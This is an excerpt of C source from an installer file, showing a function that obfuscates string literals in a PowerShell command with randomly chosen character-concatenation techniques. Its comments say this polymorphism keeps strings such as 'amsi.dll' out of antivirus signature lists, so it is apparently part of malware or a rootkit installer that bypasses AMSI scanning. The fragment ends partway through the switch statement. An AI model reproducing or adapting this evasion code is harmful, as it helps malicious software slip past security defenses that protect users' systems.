Function ObfuscateStringLiterals

Install/Install.c:191–278

	}
}
VOID ObfuscateStringLiterals(LPWSTR command)
{
	// Replace all string literals like
	// `thestring`
	// with something like
	// 't'+[Char]123+[Char]45+'s' ...

	// Polymorphic modifications of strings is required, because something static like
	// 'ams'+'i.dll'
	// will eventually end up in a list of known signatures.

	PWCHAR newCommand = NEW_ARRAY(WCHAR, 16384);
	i_wmemset(newCommand, 0, 16384);

	LPBYTE random = NEW_ARRAY(BYTE, 16384);
	if (!GetRandomBytes(random, 16384)) return;

	LPWSTR commandPtr = command;
	LPBYTE randomPtr = random;

	for (LPWSTR beginQuote; beginQuote = StrChrW(commandPtr, L'`');)
	{
		LPWSTR endQuote = StrChrW(&beginQuote[1], L'`');
		DWORD textLength = beginQuote - commandPtr;
		DWORD stringLength = endQuote - beginQuote - 1;

		//  beginQuote   endQuote
		//         |        |
		//         v        v
		// .Invoke(`amsi.dll`);
		// ^------^              <-- textLength
		//          ^------^     <-- stringLength

		// Append what's before the beginning quote.
		StrNCatW(newCommand, commandPtr, textLength + 1);

		// Append beginning quote.
		StrCatW(newCommand, L"'");

		// Append each character using a different obfuscation technique.
		for (DWORD i = 0; i < stringLength; i++)
		{
			WCHAR c = beginQuote[i + 1];
			WCHAR charNumber[10];
			Int32ToStrW(c, charNumber);

			WCHAR obfuscatedChar[20];
			i_wmemset(obfuscatedChar, 0, 20);

			// Randomly choose an obfuscation technique.
			switch ((*randomPtr++) & 3)
			{
				case 0:
					// Put char as literal
					obfuscatedChar[0] = c;
					break;
				case 1:
					// Put char as '+'x'+'